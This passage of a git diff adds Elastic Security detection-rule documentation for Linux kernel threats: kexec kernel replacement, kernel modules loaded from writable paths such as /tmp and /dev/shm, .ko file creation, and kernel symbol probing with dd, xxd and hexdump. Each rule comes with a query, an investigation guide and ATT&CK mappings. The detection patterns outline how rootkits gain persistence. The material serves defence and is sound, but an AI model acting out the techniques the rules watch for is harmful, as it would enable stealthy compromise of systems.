https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-load-or-unload-via-kexec-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-load-or-unload-via-kexec-detected.asciidoc new file mode 100644 index 0000000000..8c284cf2d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-load-or-unload-via-kexec-detected.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-20-kernel-load-or-unload-via-kexec-detected]] +=== Kernel Load or Unload via Kexec Detected + +This detection rule identifies the usage of kexec, helping to uncover unauthorized kernel replacements and potential compromise of the system's integrity. Kexec is a Linux feature that enables the loading and execution of a different kernel without going through the typical boot process. Malicious actors can abuse kexec to bypass security measures, escalate privileges, establish persistence or hide their activities by loading a malicious kernel, enabling them to tamper with the system's trusted state, allowing e.g. a VM Escape. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.crowdstrike.com/blog/venom-vulnerability-details/ +* https://www.makeuseof.com/what-is-venom-vulnerability/ +* https://madaidans-insecurities.github.io/guides/linux-hardening.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Load or Unload via Kexec Detected* + + +Kexec is a Linux feature allowing a new kernel to load without rebooting, streamlining updates and recovery. However, attackers can exploit kexec to bypass security, escalate privileges, or hide activities by loading malicious kernels. The detection rule identifies suspicious kexec usage by monitoring process actions and arguments, excluding benign parent processes, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of the kexec command with suspicious arguments such as "--exec", "-e", "--load", "-l", "--unload", or "-u". +- Investigate the parent process of the kexec command to ensure it is not a benign process like "kdumpctl" or "unload.sh", which are excluded from the detection rule. +- Check the user account associated with the kexec process to determine if it has the necessary privileges and if the activity aligns with their typical behavior. +- Analyze recent system logs and security events for any signs of privilege escalation or unauthorized kernel modifications around the time the kexec command was executed. +- Examine the system for any signs of persistence mechanisms or other indicators of compromise that may suggest a broader attack campaign. +- Correlate this event with other alerts or anomalies in the environment to assess if this is part of a larger attack pattern or isolated incident. + + +*False positive analysis* + + +- Kdump operations may trigger false positives as kdumpctl is a benign parent process for kexec. Ensure kdumpctl is included in the exclusion list to prevent unnecessary alerts. +- Custom scripts for kernel unloading, such as unload.sh, can cause false positives. Verify these scripts are legitimate and add them to the exclusion list if they are frequently used in your environment. +- Routine administrative tasks involving kernel updates or testing may involve kexec. Confirm these activities are authorized and consider excluding specific administrative accounts or processes from detection. +- Automated system recovery processes that utilize kexec might be flagged. Identify these processes and exclude them if they are part of a known and secure recovery mechanism. +- Security tools or monitoring solutions that use kexec for legitimate purposes should be reviewed and excluded to avoid false alerts, ensuring they are recognized as trusted applications. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the attacker. +- Terminate any suspicious kexec processes identified by the detection rule to halt any ongoing malicious kernel loading activities. +- Conduct a thorough review of system logs and process histories to identify any unauthorized kernel loads or modifications, and revert to a known good state if necessary. +- Restore the system from a clean backup taken before the suspicious activity was detected to ensure system integrity and remove any potential backdoors or malicious kernels. +- Update and patch the system to the latest security standards to mitigate any vulnerabilities that could be exploited by similar attacks in the future. +- Implement strict access controls and monitoring on systems with kexec capabilities to prevent unauthorized usage and ensure only trusted personnel can perform kernel operations. +- Escalate the incident to the security operations center (SOC) or relevant incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "kexec" and process.args in ("--exec", "-e", "--load", "-l", "--unload", "-u") and +not ( + process.parent.name in ("kdumpctl", "unload.sh") or + process.parent.args in ("/usr/bin/kdumpctl", "/usr/sbin/kdump-config", "/usr/lib/kdump/unload.sh") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Modify System Image +** ID: T1601 +** Reference URL: https://attack.mitre.org/techniques/T1601/ +* Sub-technique: +** Name: Patch System Image +** ID: T1601.001 +** Reference URL: https://attack.mitre.org/techniques/T1601/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-module-load-from-unusual-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-module-load-from-unusual-location.asciidoc new file mode 100644 index 0000000000..482a374cc5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-module-load-from-unusual-location.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-20-kernel-module-load-from-unusual-location]] +=== Kernel Module Load from Unusual Location + +This rule detects the loading of a kernel module from an unusual location. Threat actors may use this technique to maintain persistence on a system by loading a kernel module into the kernel namespace. This behavior is strongly related to the presence of a rootkit on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Threat: Rootkit +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Module Load from Unusual Location* + + +This rule detects attempts to load Linux kernel modules from atypical directories, which can indicate an attacker trying to run code in kernel space for stealth and long-term persistence. Adversaries often drop a malicious `.ko` into writable paths like `/tmp` or `/dev/shm` after initial access, then use `insmod` or `modprobe` to insert it and hide processes, files, or network activity as a rootkit. + + +*Possible investigation steps* + + +- Capture the full command line and resolve any referenced `.ko` path, then collect the module file for hashing and static analysis to determine provenance and known-malware matches. +- Confirm whether the module is currently loaded by querying `lsmod`/`/proc/modules`, then map it to its on-disk location with `modinfo -n ` (or `/sys/module//sections/*`) to validate it was loaded from the suspicious directory. +- Review recent kernel and audit telemetry (`dmesg`, `/var/log/kern.log`, `journalctl -k`, and any audit records) around the event time for insertion messages, signature/taint indicators, and any follow-on errors suggesting tampering. +- Identify the initiating user/session and execution chain (parent process tree, TTY/SSH source, container context), then determine whether the action aligns with legitimate admin activity or coincides with other compromise signals on the host. +- Hunt for persistence and repeatability by checking for recurring module-load attempts and inspecting boot-time and scheduled execution paths (systemd units, init scripts, cron, rc.local) that could reload the module after reboot. + + +*False positive analysis* + + +- A system administrator or automated maintenance workflow may build or test an out-of-tree kernel module and load it with `insmod`/`modprobe` from a staging directory such as `/tmp`, `/root`, or `/mnt` before installing it into standard module paths. +- A legitimate bootstrapping or recovery operation may load a required driver module from nonstandard media or temporary runtime locations (e.g., `/boot`, `/run`, `/var/run`, or `/mnt`) during troubleshooting, initramfs/early-boot tasks, or mounting encrypted/storage devices. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network and disable external access (e.g., revoke SSH keys or block inbound SSH) to prevent additional module loads or lateral movement while preserving evidence. +- If the suspicious module is currently loaded, record `lsmod` and `modinfo` output, then unload it where safe (`modprobe -r `/`rmmod `) and quarantine the corresponding `.ko` from the unusual path (e.g., `/tmp`, `/dev/shm`, `/home`, `/mnt`) for hashing and malware analysis. +- Remove persistence mechanisms that would reload the module by deleting or disabling any related systemd units, init scripts, cron entries, and boot-time hooks, and validate `/etc/modules-load.d/`, `/lib/modules/$(uname -r)/`, and `depmod` outputs for unauthorized additions. +- Recover the host by restoring known-good kernel/module packages and rebuilding the initramfs, then reboot and verify no unexpected modules remain in `/proc/modules` and no new load attempts occur from writable directories. +- Escalate immediately to IR/forensics and consider full host rebuild if the module is unsigned/unknown, the kernel is tainted, module removal fails, or post-reboot evidence indicates stealth behavior consistent with a rootkit. +- Harden by restricting module loading (enable Secure Boot/module signature enforcement where supported, set `kernel.modules_disabled=1` after boot on fixed-function systems, and limit `CAP_SYS_MODULE` to trusted admins), and enforce file integrity monitoring/permissions to prevent `.ko` creation in world-writable locations. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.name == "kmod" and process.args == "insmod" and process.args like~ "*.ko*") or + (process.name == "kmod" and process.args == "modprobe" and not process.args in ("-r", "--remove")) or + (process.name == "insmod" and process.args like~ "*.ko*") or + (process.name == "modprobe" and not process.args in ("-r", "--remove")) +) and ( + process.working_directory like ( + "/tmp*", "/var/tmp*", "/dev/shm*", "/run*", "/var/run*", "/home*/*", "/root*", + "/var/www*", "/boot*", "/srv*", "/mnt*", "/media*" + ) or + process.parent.working_directory like ( + "/tmp*", "/var/tmp*", "/dev/shm*", "/run*", "/var/run*", "/home*/*", "/root*", + "/var/www*", "/boot*", "/srv*", "/mnt*", "/media*" + ) or + process.args like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/*", "/var/run/*", "/home/*/*", "/root/*", + "/var/www/*", "/boot/*", "/srv/*", "/mnt/*", "/media/*", "./*" + ) +) and +not ( + process.parent.executable == "/usr/bin/podman" or + process.working_directory like "/tmp/newroot" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-object-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-object-file-creation.asciidoc new file mode 100644 index 0000000000..3b15541688 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-object-file-creation.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-kernel-object-file-creation]] +=== Kernel Object File Creation + +This rule detects the creation of a Linux kernel object file (.ko) on a system. Threat actors may leverage Linux kernel object files to load a rootkit or other type of malware on a system providing them with complete control and the ability to hide from security products. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Object File Creation* + + +Kernel object files (.ko) are loadable modules that extend the functionality of the Linux kernel, often used for adding drivers or system features. Adversaries exploit this by loading malicious modules, such as rootkits, to gain control and evade detection. The detection rule identifies suspicious .ko file creation, excluding benign paths, to flag potential threats while minimizing false positives. + + +*Possible investigation steps* + + +- Review the file path of the created .ko file to determine if it is located in a suspicious or unusual directory that is not excluded by the rule, such as /var/tmp or /usr/local. +- Examine the process that created the .ko file by checking the process.executable and process.name fields to identify if it is a known legitimate process or potentially malicious. +- Investigate the parent process of the process that created the .ko file to understand the context of how the file was created and if it was initiated by a legitimate user action or a script. +- Check for any recent system changes or anomalies around the time of the .ko file creation, such as new user accounts, changes in system configurations, or other suspicious file activities. +- Look for any associated network activity from the host around the time of the .ko file creation to identify potential command and control communications or data exfiltration attempts. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that may suggest a broader attack campaign. + + +*False positive analysis* + + +- Kernel updates and system maintenance activities can generate .ko files in legitimate scenarios. Users should monitor for these activities and consider excluding paths related to official update processes. +- Custom kernel module development by developers or system administrators may trigger this rule. Establish a process to whitelist known development environments or specific user accounts involved in module creation. +- Automated system recovery tools, such as those using mkinitramfs, may create .ko files. Ensure these paths are excluded as indicated in the rule to prevent unnecessary alerts. +- Snap package installations might involve .ko file creation. Exclude the /snap/ directory to avoid false positives from legitimate package installations. +- Backup and restoration processes using tools like cpio can lead to .ko file creation. Verify these processes and exclude them if they are part of routine system operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes associated with the creation of the .ko file, especially those not originating from known benign paths. +- Remove the suspicious .ko file from the system to prevent it from being loaded into the kernel. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious components. +- Review system logs and audit trails to identify any unauthorized access or changes made around the time of the .ko file creation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar activities, ensuring that any future attempts to create or load unauthorized .ko files are promptly detected and addressed. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.type:creation and file.extension:ko and +not ( + file.path:( + /tmp/mkinitramfs* or /var/cache/uptrack/* or /var/tmp/dracut.* or /build/* or /var/lib/dkms/* or + /mnt/Samsung/* or /var/tmp/portage/* or /tmp/user/0/mkinitramfs* or /var/tmp/supermin* or + /mnt/img/storage/squashfs-root/* or /var/opt/eset/* or /var/tmp/mkinitramfs_* + ) or + process.executable:( + "/usr/local/v3net/suarez/bin/suarez" or "/sbin/dracut" or "/opt/traps/bin/pmd" or "/usr/bin/pacman" or + "/usr/bin/containerd" or "/usr/sbin/dockerd" or "/usr/bin/dockerd" or /snap/* or + "/usr/lib/dracut/dracut-initramfs-restore" or "/sbin/unsquashfs" + ) or + process.name:"cpio" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-seeking-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-seeking-activity.asciidoc new file mode 100644 index 0000000000..d0016e22d5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-seeking-activity.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-kernel-seeking-activity]] +=== Kernel Seeking Activity + +This rule detects kernel seeking activity through several built-in Linux utilities. Attackers may use these utilities to search the Linux kernel for available symbols, functions, and other information that can be used to exploit the kernel. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/declawing-pumakit + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Seeking Activity* + + +Kernel seeking involves probing the Linux kernel for symbols and functions, often using utilities like `tail`, `cmp`, `hexdump`, `xxd`, and `dd`. Adversaries exploit this to discover vulnerabilities for kernel exploitation. The detection rule identifies suspicious execution patterns of these utilities, particularly when accessing kernel-related paths, signaling potential malicious reconnaissance or exploitation attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of utilities like `tail`, `cmp`, `hexdump`, `xxd`, or `dd` with the specified arguments, focusing on the `process.name` and `process.args` fields. +- Examine the `process.parent.args` and `process.args` fields to identify the specific kernel-related paths accessed, such as those under `/boot/*`, to understand the context of the access. +- Investigate the parent process of the suspicious activity by analyzing the `process.parent` field to determine if it was initiated by a legitimate or potentially malicious process. +- Check the timeline of events around the alert to identify any preceding or subsequent suspicious activities that might indicate a broader attack pattern. +- Correlate the alert with other security events or logs from the same host to assess if there are additional indicators of compromise or related malicious activities. +- Evaluate the user account associated with the process execution to determine if it aligns with expected behavior or if it might be compromised. + + +*False positive analysis* + + +- System administrators or automated scripts may use utilities like `tail`, `cmp`, `hexdump`, `xxd`, and `dd` for legitimate maintenance tasks involving kernel files. To mitigate this, identify and whitelist specific scripts or processes that are known to perform these actions regularly. +- Backup or recovery operations might involve accessing kernel-related paths with these utilities. Exclude these operations by defining exceptions for known backup tools or processes that interact with the `/boot` directory. +- Developers working on kernel modules or custom kernel builds may trigger this rule during their normal workflow. Consider excluding specific user accounts or development environments from this rule to prevent false positives. +- Security tools or monitoring solutions that perform regular checks on kernel files could be mistakenly flagged. Review and whitelist these tools to ensure they are not incorrectly identified as threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the utilities `tail`, `cmp`, `hexdump`, `xxd`, and `dd` accessing kernel paths. +- Conduct a thorough review of system logs and process execution history to identify any additional suspicious activities or related indicators of compromise. +- Restore the system from a known good backup if any unauthorized modifications to the kernel or system files are detected. +- Update the Linux kernel and all related packages to the latest versions to patch any known vulnerabilities that could be exploited. +- Implement enhanced monitoring and alerting for similar activities, focusing on the execution of the specified utilities with kernel-related arguments. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +(process.parent.args like "/boot/*" or process.args like "/boot/*") and ( + (process.name == "tail" and (process.args like "-c*" or process.args == "--bytes")) or + (process.name == "cmp" and process.args == "-i") or + (process.name in ("hexdump", "xxd") and process.args == "-s") or + (process.name == "dd" and process.args like "seek*") +) and process.parent.executable != null and +not ( + process.parent.executable in ( + "/usr/lib/needrestart/vmlinuz-get-version", "/bin/dracut", "/sbin/dracut", "/usr/sbin/dracut" + ) or + process.parent.args in ( + "/usr/bin/dracut", "/usr/lib/needrestart/vmlinuz-get-version", "/sbin/dracut", "/bin/dracut", + "/usr/sbin/dracut", "/usr/bin/spectre-meltdown-checker", "/usr/lib/module-init-tools/lsinitrd-quick" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-unpacking-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-unpacking-activity.asciidoc 